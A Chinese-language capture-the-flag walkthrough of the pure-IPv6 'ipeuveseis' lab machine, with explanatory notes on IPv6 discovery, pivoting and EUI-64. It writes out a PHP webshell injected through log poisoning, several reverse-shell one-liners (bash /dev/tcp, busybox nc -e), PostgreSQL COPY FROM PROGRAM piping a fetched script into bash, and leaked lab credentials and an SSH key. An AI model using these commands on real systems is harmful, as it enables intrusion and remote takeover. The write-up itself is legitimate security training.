0x00 靶机信息
“在 IPv6 的浩瀚空间里,隐藏即是最好的防御。”
ipeuveseis 是一台极具挑战性的 Expert 级靶机。它彻底抛弃了传统的 IPv4 网络协议栈,构建了一个完全基于 IPv6 链路本地地址与组播协议 的渗透场景。在该环境中,常规的自动化扫描工具将大面积失效,迫使渗透者必须回归网络协议底层,通过精确的地址计算与多层跳板(Pivoting)来实现最终的宿主机逃逸。
1. 基础信息

- 靶机名称:ipeuveseis
- 难度等级:Expert (最高难度)
- 技术关键词:Pure IPv6, NDP Reconnaissance, PostgreSQL RCE, SSH-Pivoting, EUI-64 Algorithm, Docker Escape, Namespace Escalation.
- 平台链接:TheHackersLabs - ipeuveseis
2. 网络拓扑
由三个逻辑隔离的 Docker 容器及一个宿主机组成。每个节点之间通过不同的虚拟网桥进行隔离,形成了一个单向渗透的“漏斗型”链路。
| 节点名称 | 核心角色 | 关键网络环境 | 访问策略 |
| Web (ctf) | 入口点 | fd00:dead:beef::20 |
对外暴露 8080 端口,被防火墙严格限制访问宿主机网关。 |
| DB (db) | 逻辑核心 | fd00:1337:1::20 |
双网卡,连接 Web 段与 Backup 段,处于完全内网环境。 |
| Backup (backup) | 逃逸跳板 | fd00:1337:2::30 |
唯一拥有访问宿主机网关(fd00:dead:beef::1)权限的节点。 |
| Host | 宿主机 | fd00:dead:beef::1 |
运行 API 验证服务,为最终的权限提升提供物理入口。 |

0x01 初始侦察:IPv6 环境探索
在常规扫描中发现 IPv4 地址被禁用,且没有开放任何端口。针对此类纯 IPv6 环境,首先需要探测内网存活的 IPv6 节点。
使用 ping6 对全节点组播地址 ff02::1 进行探测:
❯ ping6 -I eth1 ff02::1
ping6: Warning: IPv6 link-local address on ICMP datagram socket may require ifname or scope-id => use: address%<ifname|scope-id>
ping6: Warning: source address might be selected on device other than: eth1
PING ff02::1 (ff02::1) from :: eth1: 56 data bytes
64 bytes from fe80::20c:29ff:fe61:40c7%eth1: icmp_seq=1 ttl=64 time=0.071 ms
64 bytes from fe80::a00:27ff:fe1c:b13%eth1: icmp_seq=1 ttl=64 time=0.448 ms
64 bytes from fe80::20c:29ff:fe61:40c7%eth1: icmp_seq=2 ttl=64 time=0.037 ms
64 bytes from fe80::a00:27ff:fe1c:b13%eth1: icmp_seq=2 ttl=64 time=0.398 ms
知识点:IPv6 全节点组播探测 (All-Nodes Multicast)
在纯 IPv6 环境中,由于地址空间巨大,传统的 ARP 扫描(IPv4)或顺序扫描已不再适用。
ff02::1是一个链路本地(Link-Local)范围内的组播地址,代表当前链路上的所有节点。
- ICMPv6 响应:通过 ping 该地址,链路内所有开启了组播监听的存活设备都会响应自己的链路本地地址(以
fe80::开头)。- Scope-ID 限制:由于链路本地地址在不同接口上可能重复,使用
ping6时必须通过-I参数指定网卡接口(如eth0),告知内核从哪个“物理边界”发包。- 实战技巧:在 CTF 或内网渗透中,这是快速定位 IPv6 靶机最直接的“摸排”手段,类似于 IPv4 中的
arp-scan -l。
确定目标链路本地地址(Link-Local Address)后,针对该 IP 进行端口扫描:
❯ nmap -6 fe80::a00:27ff:fe1c:b13%eth1
Starting Nmap 7.98 ( https://nmap.org ) at 2026-01-28 18:03 +0800
Nmap scan report for fe80::a00:27ff:fe1c:b13
Host is up (0.000093s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
8080/tcp open http-proxy
MAC Address: 08:00:27:1C:0B:13 (Oracle VirtualBox virtual NIC)
知识点:IPv6 地址访问
在 Linux 工具中访问 IPv6 链路本地地址时,必须通过%interface指定 scope-id(如%eth1),否则内核无法确定从哪个网卡发送数据包。
发现 8080 端口开放。为了方便浏览器访问,使用 socat 将目标的 IPv6 端口转发至本地 IPv4 端口:
socat TCP4-LISTEN:1234,fork "TCP6:[fe80::a00:27ff:fe1c:b13%eth1]:8080" &
知识点:端口转发与 IPv4/IPv6 协议转换 (Protocol Bridging)
在渗透测试中,攻击者经常会遇到本地工具(如旧版浏览器、某些代理插件)对 IPv6 地址支持不佳,或者链路本地地址(Link-Local)输入格式过于复杂的问题。
socat在此处扮演了“协议转换器”的角色。通过监听本地的 IPv4 环回地址(127.0.0.1:1234),并将流量双向转发至目标的 IPv6 地址,实现了不同网络协议栈之间的透明通信。
关键参数解析:
TCP4-LISTEN:1234:在本地开启一个 IPv4 监听端口。
fork:为每个新连接开启一个子进程,确保可以同时处理多个请求(例如网页中的图片、JS、CSS 异步加载)。
TCP6:[address%interface]:8080:指定目标 IPv6 地址及对应的物理网卡接口,方括号是 IPv6 格式的标准要求。实战意义:这种技术不仅解决了工具兼容性问题,还可以通过这种“隧道”绕过某些仅针对特定协议族的简单防火墙规则。
0x02 漏洞利用:从 Web 注入到数据库控制
web 首页是个登录框

尝试弱口令admin:admin123成功登录

1. 日志投毒(Log Poisoning)
logs 页面默认可以读取 web 访问日志和错误日志
随手一试发现隐藏的 file 参数,进而可以读取任意文件

很明显存在日志投毒
知识点:日志投毒 (Log Poisoning)
在文件包含(LFI)漏洞中,如果后端对日志文件(如 Apache 的
access.log)具有读权限,攻击者可以通过构造特殊的请求包(如在 User-Agent 中注入 PHP 代码),将恶意载荷写入日志。由于日志文件的实时性和不可逆性,一旦注入非法的语法导致解析错误,可能会使整个日志页面失效,因此在实战中通常只有一次尝试机会。
后端会将 User-Agent 记录在访问日志中,通过修改 User-Agent 注入 PHP 一句话木马:
❯ curl 'http://127.0.0.1:1234' -H "User-Agent: <?php system(\$_GET['cmd']); ?>"
访问http://127.0.0.1:1234/logs.php?file=/var/log/apache2/access.log&cmd=id 发现成功 RCE

进一步触发反弹 Shell:
访问 http://127.0.0.1:1234/logs.php?file=/var/log/apache2/access.log&cmd=bash -i >&/dev/tcp/192.168.56.6/4444 0>&1
2. 数据库信息泄露
在 Web 容器中发现数据库配置文件 database.php,暴露了 PostgreSQL 的超级管理员(Superadmin)凭据:
www-data@ctf:~$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@ctf:~$ ls
config html
www-data@ctf:~$ cat config/database.php
<?php
/**
* Database Configuration
*
* WARNING: This file contains sensitive credentials
* TODO: Move to environment variables (NEVER commit this!)
*
* ===========================================
* INTERNAL USE ONLY - Database Credentials
* ===========================================
*
* Application User:
* Host: fd00:1337:1::20
* Port: 5432
* Database: database
* User: user
* Pass: jec41Ew98zB4ch3nM0vP
*
* Super Admin (for maintenance only):
* User: superadmin
* Pass: jHt9b8u5whZ55551zlY1
*/
// Application database credentials
define('DB_HOST', getenv('DB_HOST') ?: 'fd00:1337:1::20');
define('DB_PORT', getenv('DB_PORT') ?: '5432');
define('DB_NAME', getenv('DB_NAME') ?: 'database');
define('DB_USER', getenv('DB_USER') ?: 'user');
define('DB_PASS', getenv('DB_PASS') ?: 'jec41Ew98zB4ch3nM0vP');
function getDbConnection() {
try {
$dsn = "pgsql:host=" . DB_HOST . ";port=" . DB_PORT . ";dbname=" . DB_NAME;
$pdo = new PDO($dsn, DB_USER, DB_PASS);
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
return $pdo;
} catch (PDOException $e) {
error_log("Database connection failed: " . $e->getMessage());
return null;
}
}
3. PostgreSQL 命令执行
使用 superadmin 的凭据连接:
export PGPASSWORD='jHt9b8u5whZ55551zlY1'
www-data@ctf:~/html$ psql -h fd00:1337:1::20 -p 5432 -U superadmin -d database -c "SELECT rolname, rolsuper, rolcreaterole, rolcreatedb FROM pg_roles WHERE rolname = 'superadmin';"
rolname | rolsuper | rolcreaterole | rolcreatedb
------------+----------+---------------+-------------
superadmin | t | t | t
(1 row)
确认是超级管理员,可以用 copy from program 执行命令
psql -h fd00:1337:1::20 -p 5432 -U superadmin -d database
database=# CREATE TEMP TABLE cmd_out(content text);
CREATE TABLE
database=# COPY cmd_out FROM PROGRAM 'id > /tmp/a';
COPY 0
database=# select pg_read_file('/tmp/a');
pg_read_file
-------------------------------------------------------
uid=70(postgres) gid=70(postgres) groups=70(postgres)+
(1 row)
// 执行反弹shell
database=# COPY cmd_out FROM PROGRAM 'wget -qO- http://[fd00:1337:1::10]/rev.sh | bash';
COPY 1
知识点:PostgreSQL 超级用户权限与 RCE (COPY FROM PROGRAM)
在获取数据库凭据后,验证角色权限是提权的关键步骤。PostgreSQL 中的
rolsuper属性若为t(true),意味着该用户拥有最高控制权。
COPY FROM PROGRAM 机制:这是 PostgreSQL 9.3 之后引入的功能,允许数据库超级用户直接与操作系统的外壳(Shell)交互。其原理是后端服务器进程(postgres)会调用
/bin/sh来执行指定的命令,并将标准输出重定向回数据库表中。利用限制:
必须具备 superuser 权限。
执行命令的权限级别受限于运行 PostgreSQL 服务的 OS 用户(通常是
postgres用户)。无法直接获得交互式 Shell,通常需要配合
wget/curl下载恶意脚本并执行,或者使用管道符直接推送反弹 Shell。防御视角:在生产环境中,应严格遵守“最小权限原则”,除非必要,严禁授予业务帐号
superuser权限,并可通过修改配置文件禁用特定的危险扩展或函数。
这里 web 再开一个终端,方便操作:
www-data@ctf:~/html$ curl 192.168.56.6/busybox -o busybox
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 100 1104k 100 1104k 0 0 42.4M 0 --:--:-- --:--:-- --:--:-- 43.1M
www-data@ctf:~/html$ chmod +x busybox
www-data@ctf:~/html$ ./busybox nc -lnvp 4444
listening on [::]:4444 ...
connect to [fd00:1337:1::10]:4444 from [fd00:1337:1::20]:54830 ([fd00:1337:1::20]:54830)
db:/$ id
id
uid=70(postgres) gid=70(postgres) groups=70(postgres)
知识点:静态编译工具在受限环境下的应用 (Living off the Land with BusyBox)
在容器渗透或精简版操作系统中,由于系统镜像极度精简,往往缺少
nc、netstat、curl等基础网络工具。
- BusyBox 的优势:
BusyBox被称为“嵌入式 Linux 的瑞士军刀”,它将几十种常用的标准 Linux 工具集成在一个可执行文件中。在渗透测试中,上传一个静态编译 (Statically Linked) 的 BusyBox,可以瞬间解决目标环境“工具荒”的问题,且由于不依赖系统动态库(Shared Libraries),它在绝大多数 Linux 内核上都能直接运行。- 监听 IPv6 端口:在纯 IPv6 网络中,传统的
netcat变体可能不支持-6参数。使用busybox nc配合[::]监听地址,可以同时兼容 IPv4 和 IPv6(取决于内核映射机制),在本文场景中,它成功接收了来自数据库容器(fd00:1337:1::20)的 IPv6 反弹连接。- 实战技巧:当发现目标机器没有
python、perl或完整的nc时,优先寻找上传busybox或socat的机会,这比手动构造复杂的原生 Bash 反弹 Shell 更加稳定可靠。
0x03 纵向移动:Backup 容器渗透
1. 内网扫描
在 db 容器中进一步搜集信息,发现其连接着另一个内网段 fd00:1337:2::/64。
db:/$ cat /etc/hosts
127.0.0.1 localhost
::1 localhost ip6-localhost ip6-loopback
fe00:: ip6-localnet
ff00:: ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
172.19.0.3 db
fd00:1337:2::20 db
172.18.0.2 db
fd00:1337:1::20 db
db:/$ ip -6 a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 state UNKNOWN qlen 1000
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0@if9: <BROADCAST,MULTICAST,UP,LOWER_UP,M-DOWN> mtu 1500 state UP
inet6 fd00:1337:2::20/64 scope global flags 02
valid_lft forever preferred_lft forever
inet6 fe80::a4f2:9cff:fe45:9237/64 scope link
valid_lft forever preferred_lft forever
3: eth1@if11: <BROADCAST,MULTICAST,UP,LOWER_UP,M-DOWN> mtu 1500 state UP
inet6 fd00:1337:1::20/64 scope global flags 02
valid_lft forever preferred_lft forever
inet6 fe80::14a8:32ff:fed2:5a8f/64 scope link
valid_lft forever preferred_lft forever
db:/home/postgres$ ip -6 neigh
fe80::7473:bdff:fea7:69ab dev eth0 lladdr 76:73:bd:a7:69:ab used 0/0/0 probes 1 STALE
fe80::f04c:44ff:fe1d:36a7 dev eth1 lladdr f2:4c:44:1d:36:a7 used 0/0/0 probes 1 STALE
fd00:1337:2::30 dev eth0 lladdr 76:73:bd:a7:69:ab used 0/0/0 probes 4 STALE
fd00:1337:1::10 dev eth1 lladdr f2:4c:44:1d:36:a7 used 0/0/0 probes 1 STALE
知识点:内网多宿主主机与邻居发现协议 (Multi-homed Containers & NDP)
在容器化环境中,一个容器可以同时挂载到多个不同的 Docker 网络中,这种“多宿主”特性使其成为了天然的内网跳板(Pivoting Point)。
识别双网卡拓扑:通过
ip -6 a命令可以看到eth0和eth1分别分配了不同段的 IPv6 地址(fd00:1337:2::20和fd00:1337:1::20)。这表明db容器充当了连接web段与backup段的桥梁。IPv6 邻居表 (Neighbor Table):命令
ip -6 neigh的作用类似于 IPv4 中的arp -a。在 IPv6 中,ARP 被邻居发现协议(NDP)取代。实战价值:邻居表记录了近期与当前主机进行过通信的存活节点。即使禁止了 ICMP 探测,邻居表中的记录(如
fd00:1337:2::30)也能直接暴露内网中其他存活的主机及其 MAC 地址,为后续渗透指明方向。STALE 状态解析:邻居表中的
STALE状态表示该条目最近没有被验证,但其 MAC 地址仍然缓存在内核中。攻击者可以直接针对这些已知 IP 发起进一步的端口扫描或服务探测。
通过 nc 探测该网段下的 fd00:1337:2::30 节点发现 22 端口(SSH)开放;在 postgres 用户目录下发现 SSH 私钥。
db:~/data$ for port in 21 22 80 443 2222 5432; do
echo "Scanning port $port..."
nc -6 -zv fd00:1337:2::30 $port 2>&1 | grep -i "succeeded"
done
Scanning port 21...
Scanning port 22...
Connection to fd00:1337:2::30 22 port [tcp/ssh] succeeded!
Scanning port 80...
Scanning port 443...
Scanning port 2222...
Scanning port 5432...
db:/home/postgres$ cat .ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACBN6Ifg+dOnBDB8kIuzMYC7zjUKlgOMap5Xn5b0jHloYQAAAJiPnZjqj52Y
6gAAAAtzc2gtZWQyNTUxOQAAACBN6Ifg+dOnBDB8kIuzMYC7zjUKlgOMap5Xn5b0jHloYQ
AAAEA8U25qKqiBUD8eJZt4t8G66sGV2w9dEbWrE6NUQN1iRk3oh+D506cEMHyQi7MxgLvO
NQqWA4xqnleflvSMeWhhAAAAE2JhY2t1cEBjdGYtZGIubG9jYWwBAg==
-----END OPENSSH PRIVATE KEY-----
db:/home/postgres$ cat .ssh/id_rsa.pub
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIE3oh+D506cEMHyQi7MxgLvONQqWA4xqnleflvSMeWhh backupuser@fd00:1337:2::30
从私钥中还原公钥,确认一致
❯ ssh-keygen -y -f id2
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIE3oh+D506cEMHyQi7MxgLvONQqWA4xqnleflvSMeWhh backup@ctf-db.local
知识点:SSH 密钥对校验与 ED25519 算法
在获取私钥(Private Key)后,为了确保凭据的有效性并识别目标用户,通常需要从私钥中逆向导出公钥。
ssh-keygen 验证机制:使用
ssh-keygen -y -f <private_key>命令可以从私钥文件中重新生成其对应的公钥指纹。如果该命令能成功输出,说明私钥文件格式正确且未加密或已成功识别。通过对比生成的公钥与目标机器上的authorized_keys或本地发现的.pub文件,可以确认该私钥是否为目标登录凭据。ED25519 算法特性:
现代与安全:与传统的 RSA 不同,ED25519 基于扭曲爱德华曲线(Twisted Edwards curve),生成的密钥更短且安全性更高。
不可变信息:公钥末尾的
backup@ctf-db.local是创建密钥时添加的注释,这为攻击者提供了关键的线索,指明了该私钥可能对应的目标用户名(backup或backupuser)以及主机名。渗透技巧:在多跳内网渗透中,获取私钥后务必检查其权限(需
chmod 600)和对应的用户名。由于 SSH 连接对 TTY 有严格要求,在容器内使用非法 TTY 环境登录时,常需配合-t参数或socat建立完整交互通道。
2. 升级交互式 Shell 与 ssh
由于当前 Shell 并非完整 TTY,直接连接 SSH 会被立即挂断:seudo-terminal will not be allocated because stdin is not a terminal.。我们需要使用 socat 构建一个高质量的交互式通道:
监听端:
./socat FILE:`tty`,raw,echo=0 TCP6-LISTEN:4444,reuseaddr
连接端:
./socat TCP6:[fd00:1337:1::10]:4444 EXEC:/bin/bash,pty,stderr,setsid,sigint,sane &
再次尝试连接
db:/home/postgres/.ssh$ ssh -i ./id_rsa backupuser@fd00:1337:2::30
Connection to fd00:1337:2::30 closed by remote host.
Connection to fd00:1337:2::30 closed.
显示对方关闭了连接,不知道什么原因,加个-v参数调试下:
db:/home/postgres/.ssh$ ssh -v backupuser@fd00:1337:2::30 -i ./id_rsa
debug1: OpenSSH_10.2p1, OpenSSL 3.5.4 30 Sep 2025
debug1: Reading configuration data /etc/ssh/ssh_config
debug1: /etc/ssh/ssh_config line 22: include /etc/ssh/ssh_config.d/*.conf matched no files
debug1: Connecting to fd00:1337:2::30 [fd00:1337:2::30] port 22.
debug1: Connection established.
debug1: loaded pubkey from ./id_rsa: ED25519 SHA256:9To48LA2fJiPphRa3NSVC8rPv6snf9UfDjb/S3ZC7UU
debug1: identity file ./id_rsa type 2
debug1: no identity pubkey loaded from ./id_rsa
debug1: Local version string SSH-2.0-OpenSSH_10.2
debug1: Remote protocol version 2.0, remote software version OpenSSH_9.6
debug1: compat_banner: match: OpenSSH_9.6 pat OpenSSH* compat 0x04000000
debug1: Authenticating to fd00:1337:2::30:22 as 'backupuser'
debug1: load_hostkeys: fopen /var/lib/postgresql/.ssh/known_hosts2: No such file or directory
debug1: load_hostkeys: fopen /etc/ssh/ssh_known_hosts: No such file or directory
debug1: load_hostkeys: fopen /etc/ssh/ssh_known_hosts2: No such file or directory
debug1: SSH2_MSG_KEXINIT sent
debug1: SSH2_MSG_KEXINIT received
debug1: kex: algorithm: sntrup761x25519-sha512@openssh.com
debug1: kex: host key algorithm: ssh-ed25519
debug1: kex: server->client cipher: chacha20-poly1305@openssh.com MAC: <implicit> compression: none
debug1: kex: client->server cipher: chacha20-poly1305@openssh.com MAC: <implicit> compression: none
debug1: expecting SSH2_MSG_KEX_ECDH_REPLY
debug1: SSH2_MSG_KEX_ECDH_REPLY received
debug1: Server host key: ssh-ed25519 SHA256:OXLCbAbkgraEb2kS3U1M0ndp8fsc7iwuGlqymh3gX6o
debug1: load_hostkeys: fopen /var/lib/postgresql/.ssh/known_hosts2: No such file or directory
debug1: load_hostkeys: fopen /etc/ssh/ssh_known_hosts: No such file or directory
debug1: load_hostkeys: fopen /etc/ssh/ssh_known_hosts2: No such file or directory
debug1: Host 'fd00:1337:2::30' is known and matches the ED25519 host key.
debug1: Found key in /var/lib/postgresql/.ssh/known_hosts:1
debug1: ssh_packet_send2_wrapped: resetting send seqnr 3
debug1: rekey out after 134217728 blocks
debug1: SSH2_MSG_NEWKEYS sent
debug1: Sending SSH2_MSG_EXT_INFO
debug1: expecting SSH2_MSG_NEWKEYS
debug1: ssh_packet_read_poll2: resetting read seqnr 3
debug1: SSH2_MSG_NEWKEYS received
debug1: rekey in after 134217728 blocks
debug1: SSH2_MSG_EXT_INFO received
debug1: kex_ext_info_client_parse: server-sig-algs=<ssh-ed25519,ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,sk-ssh-ed25519@openssh.com,sk-ecdsa-sha2-nistp256@openssh.com,rsa-sha2-512,rsa-sha2-256>
debug1: kex_ext_info_check_ver: publickey-hostbound@openssh.com=<0>
debug1: kex_ext_info_check_ver: ping@openssh.com=<0>
debug1: SSH2_MSG_SERVICE_ACCEPT received
debug1: SSH2_MSG_EXT_INFO received
debug1: kex_ext_info_client_parse: server-sig-algs=<ssh-ed25519,ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,sk-ssh-ed25519@openssh.com,sk-ecdsa-sha2-nistp256@openssh.com,rsa-sha2-512,rsa-sha2-256>
debug1: Authentications that can continue: publickey,password,keyboard-interactive
debug1: Next authentication method: publickey
debug1: Will attempt key: ./id_rsa ED25519 SHA256:9To48LA2fJiPphRa3NSVC8rPv6snf9UfDjb/S3ZC7UU explicit
debug1: Offering public key: ./id_rsa ED25519 SHA256:9To48LA2fJiPphRa3NSVC8rPv6snf9UfDjb/S3ZC7UU explicit
debug1: Server accepts key: ./id_rsa ED25519 SHA256:9To48LA2fJiPphRa3NSVC8rPv6snf9UfDjb/S3ZC7UU explicit
Authenticated to fd00:1337:2::30 ([fd00:1337:2::30]:22) using "publickey".
debug1: channel 0: new session [client-session] (inactive timeout: 0)
debug1: Requesting no-more-sessions@openssh.com
debug1: Entering interactive session.
debug1: pledge: filesystem
debug1: client_input_global_request: rtype hostkeys-00@openssh.com want_reply 0
debug1: client_input_hostkeys: searching /var/lib/postgresql/.ssh/known_hosts for fd00:1337:2::30 / (none)
debug1: client_input_hostkeys: searching /var/lib/postgresql/.ssh/known_hosts2 for fd00:1337:2::30 / (none)
debug1: client_input_hostkeys: hostkeys file /var/lib/postgresql/.ssh/known_hosts2 does not exist
debug1: client_input_hostkeys: no new or deprecated keys from server
debug1: Remote: /home/backupuser/.ssh/authorized_keys:1: key options: agent-forwarding port-forwarding pty user-rc x11-forwarding
debug1: Remote: /home/backupuser/.ssh/authorized_keys:1: key options: agent-forwarding port-forwarding pty user-rc x11-forwarding
debug1: pledge: fork
Connection to fd00:1337:2::30 closed by remote host.
Connection to fd00:1337:2::30 closed.
debug1: channel 0: free: client-session, nchannels 1
Transferred: sent 3824, received 3920 bytes, in 0.1 seconds
Bytes per second: sent 57072.2, received 58505.0
debug1: Exit status -1
详细分析:
一条条命令执行是可以的
db:/home/postgres/.ssh$ ssh -i ./id_rsa backupuser@fd00:1337:2::30 "pwd"
/home/backupuser
强行分配tty失败
db:/home/postgres/.ssh$ ssh -i ./id_rsa backupuser@fd00:1337:2::30 -t "bash"
Connection to fd00:1337:2::30 closed by remote host.
Connection to fd00:1337:2::30 closed.
那就直接执行bash
db:/home/postgres/.ssh$ ssh -i ./id_rsa backupuser@fd00:1337:2::30 "bash -li"
bash: cannot set terminal process group (-1): Not a tty
bash: no job control in this shell
backup:~$ pwd
pwd
/home/backupuser
知识点:SSH 伪终端 (PTY) 限制与交互式 Shell 绕过
在渗透测试中,经常会遇到能够执行单条命令但无法维持交互式会话的情况,这通常与 SSH 服务器的配置或当前 Shell 的 TTY 状态有关。
单命令执行与伪终端限制:
ssh "pwd"能成功是因为它不需要交互,直接将 stdout 返回给调用者。
ssh -t失败通常是因为目标 SSH 服务配置了AllowPty no,或者在.ssh/authorized_keys中通过restrict,no-pty选项限制了该私钥的权限。此时,强制请求分配伪终端(PTY)会被服务器直接拒绝并断开连接。bash -li 的替代方案:
当 PTY 被禁用时,无法执行如
top、vim或sudo等需要终端控制的命令。使用
bash -li(交互式且作为登录 Shell 启动)可以强制加载环境配置文件(如.bashrc),虽然会报错Not a tty并失去作业控制功能(Job Control,如无法使用Ctrl+C),但它能维持一个基本的持续对话流,让攻击者能够像操作常规 Shell 一样输入后续命令。实战避坑:在这种“非典型”Shell 中,输入命令后必须等待回显。如果执行了会导致挂起的命令,由于没有作业控制,通常只能杀死整个 SSH 进程重新连接。
0x04 容器逃逸:API 挑战
照例收集一波信息:
backup:~/.ssh$ id
uid=1000(backupuser) gid=1000(backupuser) groups=1000(backupuser)
backup:~/.ssh$ ip -6 neigh
fe80::a4f2:9cff:fe45:9237 dev eth0 lladdr a6:f2:9c:45:92:37 used 0/0/0 probes 1 STALE
fd00:1337:2::20 dev eth0 lladdr a6:f2:9c:45:92:37 used 0/0/0 probes 1 STALE
backup:~/.ssh$ ip -6 a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 state UNKNOWN qlen 1000
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0@if7: <BROADCAST,MULTICAST,UP,LOWER_UP,M-DOWN> mtu 1500 state UP
inet6 fd00:1337:2::30/64 scope global flags 02
valid_lft forever preferred_lft forever
inet6 fe80::ec04:51ff:fec4:6844/64 scope link
valid_lft forever preferred_lft forever
3: eth1@if10: <BROADCAST,MULTICAST,UP,LOWER_UP,M-DOWN> mtu 1500 state UP
inet6 fd00:dead:beef::30/64 scope global flags 02
valid_lft forever preferred_lft forever
inet6 fe80::5044:f5ff:fea0:6b87/64 scope link
valid_lft forever preferred_lft forever
backup:~/.ssh$ cat /etc/hosts
127.0.0.1 localhost
::1 localhost ip6-localhost ip6-loopback
fe00:: ip6-localnet
ff00:: ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
172.19.0.2 backup
fd00:1337:2::30 backup
172.20.0.3 backup
fd00:dead:beef::30 backup
backup:~# find / -perm -4000 2>/dev/null
/usr/bin/passwd
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/expiry
/usr/bin/chage
/usr/bin/chfn
在 backup 容器中,发现可以访问宿主机网关 fd00:dead:beef::1 上的一个隐藏 API 服务(8081 端口)。
backup:~/.ssh$ curl -6 [fd00:dead:beef::1]:8081
{
"message": "IPv6 CTF API",
"challenge": {
"description": "Convert the following MAC addresses to IPv6 using EUI-64 format",
"mac_addresses": [
"00:11:22:33:44:55",
"AA:BB:CC:DD:EE:FF",
"12:34:56:78:9A:BC",
"DE:AD:BE:EF:CA:FE",
"01:23:45:67:89:AB"
],
"total_macs": 5,
"instructions": {
"step1": "Convert each MAC address to IPv6 using EUI-64 format. Use the standard IPv6 link-local prefix",
"step2": "Send a POST request to /validate with the following JSON structure:",
"request_structure": {
"mac_addresses": "Array of all MAC addresses from the challenge (in the same order)",
"ipv6_addresses": "Array of corresponding IPv6 addresses (one for each MAC, in the same order)"
},
"example_request": {
"mac_addresses": [
"11:22:33:44:55:66",
"FF:EE:DD:CC:BB:AA"
],
"ipv6_addresses": [
"fe80::1322:33ff:fe44:5566",
"fe80::ffee:ddff:fecc:bbaa"
]
},
"requirements": [
"You must send ALL MAC addresses from the challenge list above",
"You must send the same number of IPv6 addresses as MAC addresses",
"The order of MAC addresses and IPv6 addresses must match",
"All conversions must be correct to proceed",
"Use Content-Type: application/json header"
]
}
},
"endpoints": {
"/validate": {
"method": "POST",
"description": "Validate MAC addresses and convert to IPv6 (must validate ALL MACs)",
"required_parameters": {
"mac_addresses": "Array of MAC addresses (all from challenge)",
"ipv6_addresses": "Array of corresponding IPv6 addresses in EUI-64 format"
},
"example": {
"mac_addresses": [
"11:22:33:44:55:66"
],
"ipv6_addresses": [
"fe80::1322:33ff:fe44:5566"
]
}
},
"/execute": {
"method": "POST",
"description": "Execute command (requires ALL MACs to be validated first)",
"required_parameters": {
"command": "Command to execute"
}
},
"/status": {
"method": "GET",
"description": "Check validation status"
}
}
}
该 API 要求完成一个 MAC 地址到 IPv6 地址(EUI-64 格式)的转换挑战。
关键技术:EUI-64 转换规则
- 将 MAC 地址从中间(第 3 和第 4 字节之间)插入
ff:fe。- 将第一个字节的第 7 位(U/L bit)取反。
- 加上前缀
fe80::。
按照要求完成,从而可以访问excute接口执行命令:
backup:~/.ssh$ curl -6 -X POST http://[fd00:dead:beef::1]:8081/validate \
-H "Content-Type: application/json" \
-d '{
"mac_addresses": [
"00:11:22:33:44:55",
"AA:BB:CC:DD:EE:FF",
"12:34:56:78:9A:BC",
"DE:AD:BE:EF:CA:FE",
"01:23:45:67:89:AB"
],
"ipv6_addresses": [
"fe80::0211:22ff:fe33:4455",
"fe80::a8bb:ccff:fedd:eeff",
"fe80::1034:56ff:fe78:9abc",
"fe80::dcad:beff:feef:cafe",
"fe80::0323:45ff:fe67:89ab"
]
}'
{
"validated": 5,
"total": 5,
"all_valid": true,
"results": [
{
"mac": "00:11:22:33:44:55",
"ipv6": "fe80::211:22ff:fe33:4455",
"status": "valid"
},
{
"mac": "AA:BB:CC:DD:EE:FF",
"ipv6": "fe80::a8bb:ccff:fedd:eeff",
"status": "valid"
},
{
"mac": "12:34:56:78:9A:BC",
"ipv6": "fe80::1034:56ff:fe78:9abc",
"status": "valid"
},
{
"mac": "DE:AD:BE:EF:CA:FE",
"ipv6": "fe80::dcad:beff:feef:cafe",
"status": "valid"
},
{
"mac": "01:23:45:67:89:AB",
"ipv6": "fe80::323:45ff:fe67:89ab",
"status": "valid"
}
]
backup:~/.ssh$ curl -6 -X POST http://[fd00:dead:beef::1]:8081/execute -H "Content-Type: application/json" -d '{
"command": "id"
}'
{
"command": "id",
"returncode": 0,
"stdout": "uid=1000(lenam) gid=1000(lenam) grupos=1000(lenam),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),100(users),101(netdev)\n",
"stderr": ""
curl -6 -X POST http://[fd00:dead:beef::1]:8081/execute -H "Content-Type: application/json" -d '{
"command": "busybox nc 192.168.56.6 4444 -e bash"
}'
通过此接口,我们成功获取了宿主机用户 lenam 的权限。

0x05 宿主机 Sudo 提权
在纯 IPv6 渗透中,由于工具对地址格式的解析差异,文件传输往往比 IPv4 环境更具挑战性。这里总结两个方法:
❯ python3 -m http.server --bind :: 8080
❯ scp llpeas.sh "lenam@[fe80::a00:27ff:fe1c:b13%eth1]:~"
Warning: Permanently added 'fe80::a00:27ff:fe1c:b13%eth1' (ED25519) to the list of known hosts.
llpeas.sh
知识点:IPv6 环境下的文件传输技巧 (File Transfer in IPv6)
Python HTTP 服务绑定 IPv6:
默认情况下,许多版本的
python3 -m http.server仅绑定到 IPv4 (0.0.0.0)。使用
--bind ::参数显式指定绑定到 IPv6 的全零地址,这使得攻击机可以在 IPv6 链路上提供文件下载服务,供目标容器使用curl或wget -6获取工具。SCP 处理链路本地地址 (Link-Local Address):
在使用
scp或ssh连接fe80::开头的地址时,必须遵循特殊的语法。Scope-ID 必不可少:必须附加
%interface(如%eth1),否则系统不知道数据包该从哪个网卡发往目标。转义与引号:由于
